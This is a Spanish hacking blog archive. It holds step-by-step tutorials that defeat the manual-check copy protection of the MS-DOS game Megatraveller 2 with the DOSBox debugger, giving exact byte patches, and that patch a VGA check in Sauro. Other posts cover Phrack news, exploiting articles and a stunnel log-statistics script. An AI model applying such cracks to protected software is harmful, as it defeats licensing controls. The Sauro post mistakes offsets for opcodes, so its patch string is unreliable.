Curiosity is insubordination in its purest form. -Vladimir Nabokov

sábado, 19 de enero de 2019

Cracking de un juego MS-DOS usando DOSBox debugger (analisis dinamico)

El candidato es Megatraveller 2 [1], un viejo (1991) juego msdos de rol en su version en castellano con una proteccion bastante comun en su epoca: al iniciar el juego se nos pregunta por algo cuya respuesta viene en el manual. Si la respuesta es correcta jugamos, de lo contrario el juego termina y volvemos al DOS.

Para no repetirnos, a diferencia de la entrada anterior donde usamos IDA para hacer un analisis estatico, en esta ocasion usaremos el debugger de DOSBox para hacer un analisis dinamico, es decir, ejecutaremos el juego paso a paso, pondremos breakpoints hasta localizar la parte del codigo donde esta la proteccion y la anularemos modificando el codigo en memoria en caliente. Todo mientras vemos en la pantalla de DOSBox que es lo que va mostrando el juego por pantalla, lo cual es enormemente util. Finalmente haremos el crack permanente modificando el archivo responsable de la proteccion con un editor hexadecimal.

Lo primero necesitamos compilar una version de DOSBox con el debugger activado, ya que por defecto no lo esta. Para windows hay precompilados en Vogons [2]. Para compilar en Linux:
./autogen.sh && ./configure --enable-debug=heavy && make
Aunque yo he utilizado dosbox-x [3], que he compilado de una forma un poco diferente ejecutando ./build-debug que ya incluye --enable-debug=heavy

Bien, cargamos el juego:
user@host:~/crack/MT2$ ~/emus/dosbox-x-0.82.14/src/dosbox-x -c "keyb sp" -c "mount c ." -c "c:" -c "MT2.COM"
Avanzamos hasta que nos pida las claves y activamos el modo debugger con ALT+PAUSA. Veremos algo parecido a:

Si tecleamos HELP en la ventana Output veremos una ayuda de los comandos aceptados por el debugger. Para este crack usaremos los siguientes:
F5                        - Run.
F10/F11                   - Step over / trace into instruction.
BP [segment]:[offset]     - Set breakpoint.
SM [seg]:[off] [val] [.]..- Set memory with following values.
Atencion: segun las asociaciones de teclas que tengas en tu programa emulador de terminal puede que necesites redefinir alguna tecla de funcion, ya que tendra preferencia sobre el debugger de DOSBox.

Si miramos el titulo de la ventana de DOSBox veremos que se esta ejecutando CHARGEN. DOSBox no muestra la extension del archivo en el titulo pero CHARGEN.DAT tiene todas las papeletas de ser realmente un ejecutable de DOS. Si miramos con file:
user@host:~/crack/MT2$ file CHARGEN.DAT
CHARGEN.DAT: MS-DOS executable, MZ for MS-DOS Self-extracting PKZIP archive
user@host:~/crack/MT2$
Efectivamente, es un ejecutable de MS-DOS, concretamente un .EXE (los magic-bytes MZ lo delatan) empaquetado con PKZIP. Pues antes de nada vamos a desempaquetarlo. Usare UNP [4].

Un empaquetado conocido es un desempaquetado instantaneo. Volvemos a cargar el juego con MT2.COM, pulsamos ALT+PAUSA y para llegar al punto donde se comprueban las claves, iremos pulsando F10, prestando atencion a los CALL o los saltos Jxx. Si queremos entrar en alguna funcion llamada por CALL pulsaremos F11. Si vemos que pulsando repetidamente F10 entramos en un bucle podemos fijarnos en los saltos y ver si hay algun camino que no estamos siguiendo. Pondremos breakpoints en esos caminos y haremos F5, veremos si podemos teclear, si el codigo se para seguiremos con F10/F11.

Bien, despues de poner breakpoints, ejecutar, breakpoints, ejecutar, paciencia con breakpoints cada vez mas avanzados en el flujo de ejecucion llegamos a ver la rutina de comprobacion de claves. Puede que acabe haciendo un video con todo el proceso desde inicio a final, pero mientras sugiero los siguientes breakpoints.
BP 0B74:0000506E -> Se activa cuando se introduce la clave y se pulsa intro.
BP 0B74:0000BB98 -> Comprobacion claves.
BP 0B74:0000506E -> Clave correcta, se carga INTRO.DAT y empieza el juego.
Una vez introducidos en la ventana Output del debugger pulsamos F5 para ejecutar el juego, avanzamos hasta que nos pida las claves y justo cuando introducimos una clave y pulsamos intro vemos que la ejecucion se pausa, es el primer breakpoint:
      0B74:00005064 E8BDD4    call 00002524 ($-2b43)
      0B74:00005067 8BF0      mov  si,ax
      0B74:00005069 83FE0D    cmp  si,000D                         ; SE HA PULSADO INTRO? (EL CODIGO ASCII DE INTRO ES 0D)
      0B74:0000506C 7503      jne  00005071 ($+3)     (no jmp)     ; NO
BP    0B74:0000506E E94102    jmp  000052B2 ($+241)   (down)       ; SI
Volvemos a pulsar F5 y el segundo breakpoint nos lleva a:
      (...)
      0B74:0000BB8B E8321A    call 0000D5C0 ($+1a32)
      0B74:0000BB8E 83C402    add  sp,0002
      0B74:0000BB91 8BC8      mov  cx,ax
      0B74:0000BB93 8BC7      mov  ax,di
      0B74:0000BB95 8BDA      mov  bx,dx
      0B74:0000BB97 99        cwd
BP    0B74:0000BB98 3BC8      cmp  cx,ax                           ; ¿CLAVE CORRECTA?
      0B74:0000BB9A 7504      jne  0000BBA0 ($+4)     (jmp)        ; CHICO_MALO
      0B74:0000BB9C 3BDA      cmp  bx,dx                           ; CHICO_BUENO
      0B74:0000BB9E 7411      je   0000BBB1 ($+11)    (down)       ; CHICO_BUENO
Es la parte de codigo donde se comprueban las claves. Nos encontramos en BP donde se compara la clave introducida con la clave que el juego espera. La linea siguiente "jne 0000BBA0" es el primer chequeo de claves. JNE es chico_malo. Lo anulamos sustituyendo JNE por NOP NOP, es decir, 75 04 por 90 90. El debugger de DOSBox nos permite modificar el codigo en memoria en caliente ya que si puedes cambiar la memoria puedes cambiar el codigo en ejecucion, recuerda: todo lo que se esta ejecutando esta en memoria. Asi:
SM 0B74:BB9A 90 90
y veremos que automaticamente el codigo cambia a:
BP    0B74:0000BB98 3BC8      cmp  cx,ax                           ; ¿CLAVE CORRECTA?
      0B74:0000BB9A 90        nop
      0B74:0000BB9B 90        nop
      0B74:0000BB9C 3BDA      cmp  bx,dx                           ; CHICO_BUENO
      0B74:0000BB9E 7411      je   0000BBB1 ($+11)    (down)       ; CHICO_BUENO
Despues de los NOP viene un segundo chequeo de claves. JE es chico_bueno. Para una clave corta se cumple el JE y no seria necesario cambiarlo, pero cuando el usuario introduce una clave con toda la longitud, por ejemplo 555555555555555555 _NO_ se cumple el JE (no saltamos) y el programa considera incorrecta la clave introducida. Como el camino chico_bueno es saltar cambiamos JE por JMP (74 11 por EB 11) y asi saltamos siempre independientemente de la longitud de la clave que introduzcamos. Lo modificamos con otro SM:
SM 0B74:BB9E EB 11
Y ahora tenemos:
BP    0B74:0000BB98 3BC8      cmp  cx,ax                           ; ¿CLAVE CORRECTA?
      0B74:0000BB9A 90        nop
      0B74:0000BB9B 90        nop
      0B74:0000BB9C 3BDA      cmp  bx,dx                           ; CHICO_BUENO
      0B74:0000BB9E EB11      jmp  0000BBB1 ($+11)    (down)       ; CHICO_BUENO
En este punto ya esta crackeado, no importara la clave que introduzcamos, todas seran validas. Volvemos a pulsar F5 (Run) y el programa se parara en el tercer y ultimo breakpoint que pusimos:
      (...)
BP    0B74:00000CEB E85EC0    call FFFFCD4C ($-3fa2)               ; CARGAMOS INTRO.DAT Y EMPIEZA EL JUEGO
Este BP no es necesario para el crackeo pero sirve para mostrar cual es el CALL que carga INTRO.DAT. Es decir que CHARGEN.DAT ha tomado la clave como valida y empieza el juego en si.

Para hacer el crack permanente editamos el archivo CHARGEN.DAT con un editor hexadecimal, buscamos una ristra de bytes que contenga los bytes que queremos cambiar y nos aseguramos de que sea unica (si no buscariamos con una cadena mas larga) y lo cambiamos por los nuevos opcodes.
hexedit CHARGEN.DAT (Ojo! primero hay que desempaquetarlo) y sustituir
3B C8 75 04 3B DA 74 11
por
3B C8 90 90 3B DA EB 11
y guardar cambios.
Feliz reversing.

[1] https://www.mediafire.com/file/id5q6tsgfve6ea5/MT2.7z/file
[2] https://www.vogons.org/viewtopic.php?t=7323
[3] https://github.com/joncampbell123/dosbox-x/releases
[4] http://unp.bencastricum.nl

jueves, 20 de diciembre de 2018

Reversing de un juego MS-DOS antiguo que no carga en DOSBox (analisis estatico)

Disclaimer: Este articulo es un crack basico de un ejecutable DOS practicamente paso a paso, asi que si sabes de esto no vas a aprender nada, si no sigue leyendo.

Bien, hice este parche para una gente que queria jugar a este juego y es un ejemplo muy simple de un cracking en la practica: un viejo (1997) juego argentino para msdos llamado Sauro [1] que no arranca en DOSBox. Al cargar SAURO.EXE en DOSBox el programa nos devuelve al DOS con el mensaje "Atencion el sistema necesita una placa VGA valida, instale una. GRACIAS por usar este producto RAL SOFT".

Comenzamos cambiando en la configuracion de DOSBox la tarjeta grafica que DOSBox presenta al juego y seguimos con el mismo problema, asi que decidimos acudir al debugger.

El ejecutable SAURO.EXE es un ejecutable de MSDOS, por lo que necesitamos un debugger que pueda leer binarios de DOS. Yo he usado la version free de IDA 5.0 [2], ya que versiones free posteriores eliminaron soporte DOS. Manos a la obra.

Arranco IDA y cargo SAURO.EXE indicando que es un EXE de DOS. Espero unos segundos a que se complete el analisis y como en este caso el codigo no esta "packed" ni tiene protecciones antidebug ni esta ofuscado ni nada raro, en cuanto IDA termina el analisis tengo ante mi el codigo en ensamblador de SAURO.EXE

Es muy largo por lo que necesito acotarlo a la seccion que me interesa. Bien, sabemos que al ejecutar SAURO.EXE el programa finaliza y nos devuelve al DOS con el mensaje "Atencion el sistema necesita una placa VGA compatible". Esa cadena esta en algun lado, podria estar en texto claro u ofuscada o no estar en SAURO.EXE sino en algun archivo que lee SAURO.EXE pero por aqui tenemos que empezar, la buscamos en IDA y nos encontramos con el siguiente codigo ensamblador:
loc_31DD:
push    ds
push    offset aAtencionElSist ; "\nAtencion el sistema necesita una placa"...
call    sub_1BD5
pop     cx
pop     cx
push    ds
push    offset aGraciasPorUsar ; "GRACIAS por usar este producto RAL SOFT"...
call    sub_1BD5
pop     cx
pop     cx
push    0
call    sub_261
pop     cx
loc_31DD: es una etiqueta puesta por IDA porque en algun momento del codigo el flujo de ejecucion nos lleva hasta ahi. Bien, pedimos a IDA que nos muestre desde donde se llama a loc_31DD y el debugger nos muestra esto:
sub_31B9 proc far

var_1= byte ptr -1

enter   2, 0
push    14h
call    sub_1AED
pop     cx
mov     [bp+var_1], al
test    [bp+var_1], 30h
jnz     short loc_31DD
Ya viendo esto sabemos que muy probablemente ya lo tenemos y solo necesitariamos invalidar el salto JNZ. Justo antes de llegar al salto condicional JNZ vemos que se compara con un TEST el valor que hay en la direccion de memoria [bp+var_1] con el valor 30 en hexadecimal. Solo si es 30h el TEST devolvera un 0. Luego viene el salto JNZ que dice que si no es 0 (JNZ = Jump if Not Zero) saltamos a loc_31DD, que equivaldria a que el programa no ha detectado una placa VGA valida y finalizaria, que es lo que nos esta pasando.

Si vemos la funcion sub_1AED a la que llama CALL tenemos esto:
; Attributes: bp-based frame

sub_1AED proc far

var_1= byte ptr -1
arg_0= byte ptr  6

enter   2, 0
mov     dx, 70h ; 'p'
mov     al, [bp+arg_0]
out     dx, al          ; CMOS Memory:
                        ; used by real-time clock
inc     dx
in      al, dx          ; CMOS Memory
mov     [bp+var_1], al
mov     al, [bp+var_1]
leave
retf
sub_1AED endp
Esta es la rutina que chequea si tenemos una VGA o compatible y vemos que no comprueba la BIOS sino que usa el CMOS y espera un valor diferente al que le comunica DOSBox, con lo cual finaliza con el mensaje de que no encuentra VGA valida.

Para "crackearlo" tenemos al menos dos opciones. Una seria modificar la funcion sub_1AED para que siempre devolviera el valor 30h, que es el que comprueba el TEST que vimos, pero quizas la solucion mas simple y por tanto la mejor seria invalidar el salto jnz short loc_31DD de tal forma que no saltaramos al codigo que nos muestra por pantalla "no hay vga valida" sino que el programa continuara y pudieramos jugar a SAURO.

Bien, el codigo ensamblador es mas bajo nivel que un lenguaje como C pero aun no es lo que entiende la CPU, la CPU solo entiende de ceros y unos. Y para que los humanos podamos entenderlo un poco mejor representamos los ceros y unos en hexadecimal. Cada instruccion ensamblador se traduce a lo que se conoce como opcodes. Si pedimos a IDA que nos muestre los opcodes al lado de las instrucciones para el salto jnz short y las instrucciones inmediatamente anteriores tenemos:
0BCF call    sub_1AED
0BD4 pop     cx
0BD5 mov     [bp+var_1], al
0BD8 test    [bp+var_1], 30h
0BDC jnz     short loc_31DD
La columna de la izquierda son los opcodes en hexadecimal para cada instruccion (1 opcode=1 byte, 0B es un byte, CF otro byte). El salto JNZ se traduce como los dos bytes en hexadecimal "0B DC". Para invalidar el salto existe una instruccion en ensamblador x86 que es NOP, y simplemente no hace nada, cuando la CPU ejecuta un NOP se consume algun ciclo de cpu pero no hace nada y continua con la siguiente instruccion. El opcode de NOP en arquitectura x86 es 90 en hexadecimal.

Pues manos al crakeo. Si sustituimos el fragmento de codigo anterior por...
0BCF call    sub_1AED
0BD4 pop     cx
0BD5 mov     [bp+var_1], al
0BD8 test    [bp+var_1], 30h
90   nop
90   nop
...cuando el programa haga la comprobacion con TEST no importara el resultado de esa comprobacion porque luego ejecutara los dos NOP que siguen y continuara hacia el flujo de ejecucion de que ha encontrado una placa VGA valida, es decir, veremos el juego en si.

Para parchearlo podemos por ejemplo abrir SAURO.EXE con un editor hexadecimal y buscar la cadena de bytes "0B CF 0B D4 0B D5 0B D8 0B DC", asegurarnos de que sea unica (si no buscariamos con una cadena mas larga) y sustituirla por "0B CF 0B D4 0B D5 0B D8 90 90"

Y ya estaria crackeado. Digo crackeado porque imagina que en vez de comprobar un valor que devuelve la memoria CMOS el programa estuviera comprobando si la clave que has puesto es valida o no. La logica seria la misma o muy similar, invalidar el salto hacia chico_malo para que siempre siguiera el flujo de ejecucion por el camino chico_bueno.

Este era un ejemplo simple: no empaquetado, no ofuscado, no antidebugging, nada, solo invalidar un salto, pero puede complicarse y mucho y ahi pues paciencia y determinacion.

No es necesario conocer todas las instrucciones ensamblador, pero cuanto mas mejor. Saber como el sistema operativo en que nos movemos maneja la memoria, pila, interrupciones, BIOS, acceso a ficheros, etc ayuda, pero lo mas importante es tener claro el flujo de ejecucion del programa. Una vision global y no dejar de aprender.

Feliz reversing.

[1] https://www.mediafire.com/file/nyvd996o90ty107/SAURO.7z/file
[2] https://www.scummvm.org/frs/extras/IDA/idafree50.exe

jueves, 28 de agosto de 2014

libro hackstory.es ya disponible

Hola a todos, ya esta disponible el libro Hackstory.es La historia nunca contada del underground hacker en la península Ibérica. Mi enhorabuena a la autora y a todos los demas.

sábado, 5 de abril de 2014

Phrack news

Hola a todos,

La ezine mas respetada en este mundo probablemente sea Phrack.

Pues bien, Phrack cambia a mejor el ritmo de publicacion de contenidos, y el cambio comienza con The Fall of Hacker Groups

Eso es todo, que paseis un buen dia.

domingo, 30 de marzo de 2014

Exploiting para niños [revised]

Hola Exploiters,

Llevo unos dias revisando un documento que llevaba ya demasiado tiempo dormido y este es el resultado.

Se que el enfoque puede parecerle extraño a algunas personas, pero ese es el estilo que he querido darle, y ademas, el titulo del documento me sirve como la excusa perfecta para ponerme a escribir y que mi propia ignorancia no sea un estorbo, sin falsa modestia, todos ignoramos algo.

He intentado que no hubiera cosas incorrectas en el texto. Lo de siempre, cualquier comentario al respecto es bienvenido.

No os cuento nada nuevo si os digo que una vez pasados los 90, el mundo del Exploiting ha estado fuertemente marcado por el eterno juego del gato y el raton y que hasta ahora los Exploiters no han dejado de darle emocion a la carrera y se han mantenido en su sitio siempre desplazando la meta hacia adelante.

Quien sabe si alguien algun dia lograra inmovilizar la meta definitivamente. Por el bien comun de la diversion esperemos que ese dia este muy lejano.

Aunque tal y como estan desarrollandose los acontecimientos en el mundo, cada vez parece menos descabellado pensar que todo va a explotar pronto de todas formas, pero antes de que ocurra vamos a disfrutar, por si acaso, y si al final esto no explota, nos habremos divertido por el camino. Exploiting para niños pues.

Eso es todo por ahora, que paseis un buen dia.

sábado, 24 de agosto de 2013

Elevacion de privilegios en Debian y derivadas



More info: http://unaaldia.hispasec.com/2013/08/elevacion-de-privilegios-en-debian-y.html

martes, 6 de agosto de 2013

Linux Heap Exploiting Revisited



Aupa ahi mr heap!

"lo que vamos a suponer es... que ocurre si nosotros pudieramos controlar el contenido del puntero forward y del puntero backward..."

A partir de ahi la creme de la creme amigo... Keep on rockin' y haxta otra :)

domingo, 16 de junio de 2013

Basic UDP session Hijacking with Scapy

Ask him no questions he'll tell you no lies
That's why a rocker never dies
He's the rocker ♪♪

lunes, 8 de abril de 2013

Happy Hacking

File: archives/68/p68_0x07_Happy Hacking_by_anonymous author.txt ==Phrack Inc.==

Volume 0x0e, Issue 0x44, Phile #0x07 of 0x13

|=-----------------------------------------------------------------------=|
|=-------------------------=[ Happy Hacking ]=---------------------------=|
|=-----------------------------------------------------------------------=|
|=--------------------------=[ by Anonymous ]=---------------------------=|
|=-----------------------------------------------------------------------=|
--[ 3 - The Security Industry

In recent years I've seen how many hackers join the information security industry and many of them having the illusion that hacking as their day job will bring them a great deal of happiness. After a couple of years they discover they no longer enjoy hacking, that those feelings they used to have in the old days are no longer there, and they decide to blame the hacking scene, often condemning it as "being dead".

I'll try to explain this behavior from the science of happiness point of view.

Let me start by looking at Journalism. The science of happiness has shown that people are happy in a profession where:

- "Doing good (high quality work) matches with doing well (achieving wealth and professional advancement) in the field." -

Journalism is one of those careers where doing good (making the world better by promoting democracy and free press) doesn't usually lead to rising as a journalist. Julian Assange, the chief editor of Wikileaks, is a pretty obvious example of this. By firmly believing in free press he has brought upon himself a great deal of trouble. In contrast, being manipulative and exaggerating news often leads to selling more news, which in turn allows for the sales of more ads, which correlates to doing well. But by doing so, journalists have to compromise their beliefs, which ultimately makes their happiness levels go down. Those who decide not to compromise feel angry at their profession when they see those who cheat and compromise rise high. This feeling also leads to their happiness levels to drop. Journalism is therefore one of those professions where its practitioners tend to be the most unhappy.

Hacking on the other hand doesn't suffer from this issue. In the hacking scene doing great work is often recognized and admired. Those hackers that are able to write that exploit thought to be impossible, or find that unbelievably complex vulnerability, are recognized and praised by the community. Also, many hackers tend to develop great tools which are often released as open source. The open source community shares a lot of properties with the hacking community. It is not hard to see why people enjoy developing open source projects so much. Most open source projects are community organizations lead by meritocracy; where the best programmers can quickly escalate the ranks by writing great code. Furthermore, the idea of making the code and the underlying designs widely available gives participants a feeling of fulfillment as they are not doing this for profit but to contribute to a better world. These ideals have also been an integral part of the hacking community where one of its mottos is, "Knowledge should be free, information should be free". Being part of such communities brings a wealth of happiness, and is the reason why these communities flourished without the need for any economic incentives.

Recent years however have brought the security industry closer to the hacking industry. Many hacking scene members have become security industry members once their responsibilities demanded more money (e.g. married with kids and a mortgage). For them it seemed like the right fit and the perfect job was to hack for a living.

However, the security industry does not have the same properties as the hacking or open source communities. The security industry is much more like the journalism industry.

The main difference between the hacking community and the security industry is about the consumers of the security industry. While in the hacking community the consumers are hackers themselves, in the security industry the consumers are companies and other entities that don't have the same behavior as hackers. The behavior of the security industry consumers is similar to the behavior of the consumers of journalism. This is because these companies are partially a subset of the consumers of journalism. These consumers do not judge work as hackers do; instead they are more ignorant and have a different set of criteria to judge work quality.

sábado, 23 de febrero de 2013

Tonel - basic stats&checks for stunnel

Un script que extrae estadisticas de conexiones POP/IMAP tunelizadas a traves de stunnel.

Este script hace tareas primitivas que siempre se repiten de un script a otro: parseo de logs, control de errores, regexps, etc etc asi que si alguien quiere aportar formas mejores de hacer las cosas... oh wait, perl XD es bienvenido.

Sample output HERE

Happy coding!!
#!/bin/bash
# script to get some useful POP/IMAP stats

TMPLOGFILE=$(mktemp -t stunnel.log-$$.$RANDOM)
TMPIPT_LOGFILE=$(mktemp -t iptables.log-$$.$RANDOM)
cleanup() {
  [ -f $TMPLOGFILE ] && rm $TMPLOGFILE
  [ -f $TMPIPT_LOGFILE ] && rm $TMPIPT_LOGFILE
  trap 0
  exit
}
trap cleanup 0 1 2 3 15

warn () {
  echo -e "$@"
}

die() {
  RC=$1 ; shift
  warn "$@"
  exit $RC
}

BANNER="Tonel ~ Basic stats&checks for stunnel / vlan7"
MY_NAME=${0##*/} #ie: tonel.sh
LOGFILE=/var/log/stunnel.log
#ROOT_UID=0
VERBOSE=0
IPT_PREFIX="POP/IMAP FLOOD"
IPT_LOGFILE=/var/log/iptables.log
BANNED_DBFILE=/proc/net/ipt_recent/BANNED
#FLOODERS_DBFILE=/proc/net/ipt_recent/FLOOD

TODAY=$(date +%u)

if [ $TODAY -eq 1 ]
then
# Today is Monday
  BEGIN_DATE="$(date -dmonday-7days +%Y.%m.%d)"
  END_DATE="$(date -dmonday +%Y.%m.%d)"
  WRITE_END_DATE="$(date -dmonday-1day +%Y.%m.%d)"  #dirty hack

  BEGIN_IPT_DATE="$(date -dmonday-7days +"%b %e")"
  END_IPT_DATE="$(date -dmonday +"%b %e")"
  WRITE_END_IPT_DATE="$(date -dmonday-1day +"%b %e")"  #dirty hack
else
  BEGIN_DATE="$(date -dlast-monday-7days +%Y.%m.%d)"
  END_DATE="$(date -dlast-monday +%Y.%m.%d)"
  WRITE_END_DATE="$(date -dlast-monday-1day +%Y.%m.%d)"  #dirty hack

  BEGIN_IPT_DATE="$(date -dlast-monday-7days +"%b %e")"
  END_IPT_DATE="$(date -dlast-monday +"%b %e")"
  WRITE_END_IPT_DATE="$(date -dlast-monday-1day +"%b %e")"  #dirty hack
fi

# Run as root, of course.
#[ "$UID" -eq "$ROOT_UID" ] || die 1 "Bad luck, only root can run this code!"

echo -e "$BANNER"

# Parse arguments
while getopts "vhHf:d:" opt; do
  case $opt in
    v)
      echo -e "\n[+] -v detected. Ok, let's verbose!"
      VERBOSE=1
      ;;
    h)
      echo -e "\n-v verbose output"
      echo -e "\n-f <logfile> specify your stunnel logfile DEFAULT=$LOGFILE"
      echo -e "\n-d <YYYYMMDD+DAYS> (Up to 9999 days) (DEFAULT=one week ago starting last monday)"
      echo -e "\n-h Welcome to help"
      echo -e "\n-H Help: Long description"
      exit
      ;;
    H)
      echo -e "\nEl script acepta varios switches. Esto es la ayuda larga. La ayuda corta es -h"
      echo -e "\nEsta desarrollado de tal forma que sin ningun parametro, calcula estadisticas de toda la semana anterior a la que nos encontramos. Es totalmente transparente al dia actual, sea lunes, jueves, domingo o cualquier dia."
      echo -e "\nEs decir, si estamos en cualquier dia de la semana del 4 al 10-2-2013, asi calcula estadisticas del 28-1-2013 al 3-2-2013, ambos inclusive:"
      echo -e "\n\tbash $MY_NAME"
      echo -e "\nSi necesitamos especificar rangos seria:"
      echo -e "\n\tbash $MY_NAME -d 20130114+15"
      echo -e "\nAsi calcularia desde 20130114 hasta 20130129, ambos inclusive"
      echo -e "\nSi deseamos especificar el archivo de log de stunnel (por defecto $LOGFILE), el script permite que le pasemos el switch -f seguido del archivo de log deseado."
      echo -e "\nSi deseamos mas nivel de Verbose, podemos pasar al script el parametro -v"
      exit
      ;;
    f)
      echo -e "\n[+] -f detected so logfile is now $OPTARG"
      LOGFILE=$OPTARG
      ;;
    d)
      DATE=${OPTARG:0:8}
      INC_OR_DEC=${OPTARG:8:1}
      DAYS=${OPTARG:9:4}

      # Basic parse of -d argument
      # Valid $DATE basic regexp!
      [[ $DATE =~ ^[1-9][0-9][0-9][0-9](0[1-9]|1[012])(0[1-9]|[12][0-9]|3[01]) ]] || die 2 "ERROR! $DATE date detected. Must be YYYYMMDD format! Exiting now..."
      # $INC_OR_DEC Only + implemented
      [ "$INC_OR_DEC" == "+" ] || die 3 "ERROR! $INC_OR_DEC inc_char detected. Must be +"

      BEGIN_DATE="$(date -d $DATE +%Y.%m.%d)"
      END_DATE="$(date -d $DATE$INC_OR_DEC$[ $DAYS + 1 ]"days" +%Y.%m.%d)"
      WRITE_END_DATE="$(date -d $DATE$INC_OR_DEC$DAYS"days" +%Y.%m.%d)"   #dirty hack

      BEGIN_IPT_DATE="$(date -d $DATE +"%b %e")"
      END_IPT_DATE="$(date -d $DATE$INC_OR_DEC$[ $DAYS + 1 ]"days" +"%b %e")"
      WRITE_END_IPT_DATE="$(date -d $DATE$INC_OR_DEC$DAYS"days" +"%b %e")"  #dirty hack

# DEBUG line-
#     echo "#DATE#$DATE#INC_ORD_DEC#$INC_OR_DEC#DAYS#$DAYS#BEGIN_DATE#$BEGIN_DATE#END_DATE#$END_DATE#WRITE_END_DATE#$WRITE_END_DATE#BEGIN_IPT_DATE#$BEGIN_IPT_DATE#END_IPT_DATE#$END_IPT_DATE#WRITE_END_IPT_DATE#$WRITE_END_IPT_DATE<<EOL"
      echo -e "\n[+] -d detected so date range is now\n\t[from $BEGIN_DATE to $WRITE_END_DATE]"
      ;;
  esac
done

[ -f "$LOGFILE" ] && echo -e "\n[+] Log $LOGFILE starts on $(head -n 1 $LOGFILE |cut -d" " -f1,2)"
[ -f "$IPT_LOGFILE" ] && echo -e "\n[+] Log $IPT_LOGFILE starts on $(head -n 1 $IPT_LOGFILE |awk '{print $1,$2,$3}')"

echo -e "\n\t\t\t[+] [+] Now running some basic checks..."
echo -e "\t\t\t======================================"
echo -e "\n[+] Checking runnin' stunnel processes..."
ps -ef |grep [s]tunnel |grep -v $MY_NAME || die 4 "ERROR! stunnel is NOT running! Exiting now..."
echo -e "\n\t[OK!] Let's continue..."

echo -e "\n[+] Checking stunnel LISTEN sockets..."
##netstat -tnl |grep LISTEN |egrep ':110|:143|:993|:995'
##lsof -iTCP:143 -iTCP:110 -iTCP:993 -iTCP:995
lsof -iTCP:143 |grep LISTEN || die 5 "ERROR! IMAP is NOT listening! Exiting now..."
lsof -iTCP:110 |grep LISTEN || die 6 "ERROR! POP3 is NOT listening! Exiting now..."
lsof -iTCP:993 |grep LISTEN || die 7 "ERROR! IMAPS is NOT listening! Exiting now..."
lsof -iTCP:995 |grep LISTEN || die 8 "ERROR! POP3S is NOT listening! Exiting now..."

echo -e "\n\t[OK!] Let's continue..."

echo -e "\n\t\t\t[+] [+] Now parsing logfile [$LOGFILE] ..."
echo -e "\t\t\t==========================================="
[ -f "$LOGFILE" ] || die 9 "Fatal ERROR! log $LOGFILE NOT found. Exiting now..."

#BUFFER=$(awk '{ if ( $0 > "'"$BEGIN_DATE"'" && $0 < "'"$END_DATE"'" ) print $0 }' $LOGFILE)
#echo "$BUFFER"  # note the "" to respect \n chars

awk '{ if ( $0 > "'"$BEGIN_DATE"'" && $0 < "'"$END_DATE"'" ) print $0 }' $LOGFILE >$TMPLOGFILE
OUTTAGES=$(egrep -oc "Received signal| stunnel " $TMPLOGFILE)
echo -e "\n[+] stunnel outtages [from $BEGIN_DATE to $WRITE_END_DATE]: [$OUTTAGES]"
[ $OUTTAGES -ne 0 ] && [ $VERBOSE -ne 0 ] && echo -e "\t[+] Daemon stops:\n\t\t$(grep "Received signal" $TMPLOGFILE)"
[ $OUTTAGES -ne 0 ] && [ $VERBOSE -ne 0 ] && echo -e "\t[+] Daemon starts:\n\t\t$(grep " stunnel " $TMPLOGFILE)"

core() {
  echo -e "\n[+] Numero conexiones $1 OK / IP origen: [from $BEGIN_DATE to $WRITE_END_DATE]"
  CORE_TOTAL=$(grep -c "$1 connected from" $TMPLOGFILE)
  [ $CORE_TOTAL -ne 0 ] && grep "$1 connected from" $TMPLOGFILE |cut -d" " -f7 |cut -d":" -f1 |sort |uniq -c |sort -rn |sed -e 's/^[ ]*//' |awk '{print NR, $0}' |tr ' ' \\t
  echo -e "\n\t[+] Total conexiones: [$CORE_TOTAL]"
  [ $CORE_TOTAL -ne 0 ] && [ $VERBOSE -ne 0 ] && echo -e "\t[+] Primera conexion:\n\t\t$(grep "$1 connected from" $TMPLOGFILE |head -n 1 |cut -d" " -f1,2,4-7)"
  [ $CORE_TOTAL -ne 0 ] && echo -e "\t[+] Ultima conexion:\n\t\t$(grep "$1 connected from" $TMPLOGFILE |tail -n 1 |cut -d" " -f1,2,4-7)"
}

CONNS_TOTAL=0
core "IMAP" ; CONNS_TOTAL=$(($CONNS_TOTAL+$CORE_TOTAL))
core "POP3" ; CONNS_TOTAL=$(($CONNS_TOTAL+$CORE_TOTAL))
core "IMAPS" ; CONNS_TOTAL=$(($CONNS_TOTAL+$CORE_TOTAL))
core "POP3S" ; CONNS_TOTAL=$(($CONNS_TOTAL+$CORE_TOTAL))
echo -e "\n[+] Total conexiones (IMAP && POP3 && IMAPS && POP3S): [$CONNS_TOTAL]"

echo -e "\n\t\t\t[+] [+] Now checking bad guys..."
echo -e "\t\t\t===================================="

# Code below relays on Wietse's TCP-Wrappers
echo -e "\n[+] NO autorizados: Conexiones rechazadas / IP origen [from $BEGIN_DATE to $WRITE_END_DATE]"
REFUSED_TOTAL=$(grep -c "REFUSED" $TMPLOGFILE)
[ $REFUSED_TOTAL -ne 0 ] && grep REFUSED $TMPLOGFILE |cut -d" " -f6 |cut -d":" -f1 |sort |uniq -c |sort -rn |sed -e 's/^[ ]*//' |awk '{print NR, $0}' |tr ' ' \\t
echo -e "\n\t[+] Total conexiones rechazadas (NO autorizados): [$REFUSED_TOTAL]\n"

# Code below relays on some anti-DoS custom iptables rules
echo -e "\n[+] POP/IMAP FLOODERS: Conexiones rechazadas / IP origen [from $BEGIN_IPT_DATE to $WRITE_END_IPT_DATE]"
[ -f $IPT_LOGFILE ] || warn "[!] WARNING! $IPT_LOGFILE NOT found! Skipping this test and continuing anyway..."
[ -f $IPT_LOGFILE ] && awk '{ if ( $0 > "'"$BEGIN_IPT_DATE"'" && $0 < "'"$END_IPT_DATE"'" ) print $0 }' $IPT_LOGFILE >$TMPIPT_LOGFILE
[ -f $IPT_LOGFILE ] && FLOODERS_TOTAL=$(grep -c "$IPT_PREFIX" $TMPIPT_LOGFILE)
[ -f $IPT_LOGFILE ] && [ $FLOODERS_TOTAL -ne 0 ] && grep "$IPT_PREFIX" $TMPIPT_LOGFILE |grep -Eo "SRC=[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}" |cut -d= -f2 |sort |uniq -c |sort -rn |sed -e 's/^[ ]*//' |awk '{print NR, $0}' |tr ' ' \\t
echo -e "\n\t[+] Total conexiones rechazadas (FLOODERS): [$FLOODERS_TOTAL]\n"

echo -e "\n[+] FLOODERS actualmente BANEADOS [dbfile $BANNED_DBFILE]"
[ -f $BANNED_DBFILE ] || warn "[!] WARNING! $BANNED_DBFILE NOT found! Skipping this test and continuing anyway..."
